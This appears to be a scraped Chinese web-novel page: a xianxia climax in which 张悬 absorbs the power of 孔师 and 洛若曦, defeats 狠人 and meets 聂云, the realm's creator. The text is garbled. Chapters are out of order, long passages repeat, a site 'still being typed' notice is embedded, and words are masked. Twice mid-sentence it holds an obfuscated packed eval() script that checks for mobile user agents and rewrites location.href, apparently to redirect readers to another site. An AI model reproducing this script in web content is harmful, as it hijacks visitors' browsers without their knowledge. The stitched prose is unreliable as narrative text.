潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16824649|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零七章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 